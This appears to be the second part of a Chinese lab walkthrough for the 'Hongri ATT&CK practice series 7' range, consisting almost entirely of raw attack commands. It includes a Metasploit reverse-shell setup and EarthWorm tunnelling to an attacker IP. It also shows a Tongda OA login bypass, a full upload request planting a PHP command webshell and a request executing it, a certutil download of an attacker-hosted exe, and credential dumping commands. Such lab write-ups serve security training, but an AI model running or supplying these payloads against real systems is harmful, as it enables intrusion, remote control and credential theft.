红日ATT&CK实战系列七(下)

use exploit/multi/script/web_delivery            set target 7    # 选择目标系统            set payload linux/x64/meterpreter/reverse_tcp            set lhost 192.168.43.177            set lport 1111            run    

ufw allow 12345            ./ew_for_linux64 -s rcsocks -l 1080 -e 12345

upload /root/ew-master/ew_for_linux64

./ew_for_linux64 -s rssocks -d 192.168.43.177 -e 12345

vim /etc/proxychains4.conf            socks5 127.0.0.1 1080    

set rhosts 192.168.52.1-255            set threads 5            run

proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30    

1、修改/logincheck.php为/logincheck_code.php            2、删除cookie            3、在encode_type后加&UID=1

http://ip/general/index.php?is_modify_pwd=1

POST /ispirit/im/upload.php HTTP/1.1            Host: 192.168.52.30:8080            Content-Length: 656            Cache-Control: no-cache            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36            Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB            Accept: */*            Accept-Encoding: gzip, deflate            Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5            Cookie: PHPSESSID=123            Connection: close            ------WebKitFormBoundarypyfBh1YB4pV8McGB            Content-Disposition: form-data; name="UPLOAD_MODE"            2            ------WebKitFormBoundarypyfBh1YB4pV8McGB            Content-Disposition: form-data; name="P"            123            ------WebKitFormBoundarypyfBh1YB4pV8McGB            Content-Disposition: form-data; name="DEST_UID"            1            ------WebKitFormBoundarypyfBh1YB4pV8McGB            Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"            Content-Type: image/jpeg            $command=$_POST['cmd'];            $wsh = new COM('WScript.shell');            $exec = $wsh->exec("cmd /c ".$command);            $stdout = $exec->StdOut();            $stroutput = $stdout->ReadAll();            echo $stroutput;            ?>            ------WebKitFormBoundarypyfBh1YB4pV8McGB--

POST /ispirit/interface/gateway.php HTTP/1.1            Host: 192.168.52.30:8080            Connection: keep-alive            Accept-Encoding: gzip, deflate            Accept: */*            User-Agent: python-requests/2.21.0            Content-Length: 70            Content-Type: application/x-www-form-urlencoded            json={"url":"/general/../../attach/im/2102/96964187.jpg"}&cmd=whoami

python3 -m http.server 端口

certutil.exe -urlcache -split -f http://192.168.52.10:1008/5.exe

net view            hash dump            logonpasswords